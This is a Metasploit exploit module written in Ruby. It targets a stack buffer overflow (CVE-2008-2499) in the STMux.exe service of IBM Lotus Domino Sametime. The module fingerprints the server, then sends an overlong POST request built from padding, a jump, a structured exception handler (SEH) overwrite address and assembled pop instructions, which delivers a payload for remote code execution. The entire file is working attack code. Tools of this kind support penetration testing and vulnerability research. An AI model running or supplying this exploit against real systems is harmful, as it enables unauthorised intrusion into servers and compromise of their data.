##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow',
      'Description'	=> %q{
          This module exploits a stack buffer overflow in Lotus Domino\'s Sametime
        Server. By sending an overly long POST request to the Multiplexer
        STMux.exe service we are able to overwrite SEH. Based on the exploit
        by Manuel Santamarina Suarez.
      },
      'Author'		   => [ 'aushack', 'riaf <riaf[at]mysec.org>' ],
      'Arch'			=> [ ARCH_X86 ],
      'License'		=> MSF_LICENSE,
      'References'	=>
        [
          [ 'CVE', '2008-2499' ],
          [ 'OSVDB', '45610' ],
          [ 'BID', '29328' ],
          [ 'ZDI', '08-028' ],
        ],
      'Privileged'		=> true,
      'DefaultOptions'	=>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'		=>
        {
          'Space'			=> 1024,
          'BadChars'		=> "\x00\x0a\x0d",
          'StackAdjustment'	=> -3500,
        },
      'Platform' => ['win'],
      'Targets'  =>
        [
          # Patrick - Tested OK against Windows 2003 SP1 20081114
          [ 'Lotus Sametime 7.5 on Windows Server 2000 SP4', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 268 ] }], # pop ecx, pop exc, ret msvcr71.dll
          [ 'Lotus Sametime 7.5 on Windows Server 2003 SP1', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 269 ] }], # pop ecx, pop exc, ret msvcr71.dll
          [ 'Lotus Sametime 7.5 on Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
          [ 'Lotus Sametime 7.5.1  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 5, 269 ] }],
          [ 'Lotus Sametime 8.0.0  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
        ],
      'DisclosureDate' => '2008-05-21',
      'DefaultTarget' => 1))

    register_options(
      [
        Opt::RPORT(1533),
      ])
  end

  def check
    connect

    req = "HEAD / HTTP/1.1\r\n"
    req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
    req << "User-Agent: Sametime Community Agent\r\n\r\n"

    sock.put(req)
    res = sock.get_once || ''

    disconnect

    if (res.to_s =~/Lotus-Domino/)
      connect

      req = "GET /CommunityCBR HTTP/1.1\r\n"
      req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
      req << "User-Agent: Sametime Community Agent\r\n\r\n"
      sock.put(req)
      res = sock.get_once || ''

      disconnect

      if (res.to_s =~ /200 OK/)
        return Exploit::CheckCode::Detected
      end
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    pad1 = rand_text_alpha_lower(44)
    pad2 = rand_text_alpha_lower(29)

    # Patrick - We should use Metasm here.
    popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * target['Offset'][0]
    popad	 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset'][1]
    esp  = "\xff\x24\x24" # dword ptr ss:[esp]
    jmp  = "\x74\x23" + "\x75\x21" # je short, jnz short
    seh = [target['Ret']].pack('V')

    path = pad1 + jmp + seh + pad2 + popebx + popad + esp

    req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
    req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
    req << "User-Agent: Sametime Community Agent\r\n"
    req << "Content-Length: #{payload.encoded.length}\r\n"
    req << "Connection: Close\r\n"
    req << "Cache-Control: no-cache\r\n\r\n"
    req << payload.encoded

    sock.put(req)

    handler
    disconnect
  end
end
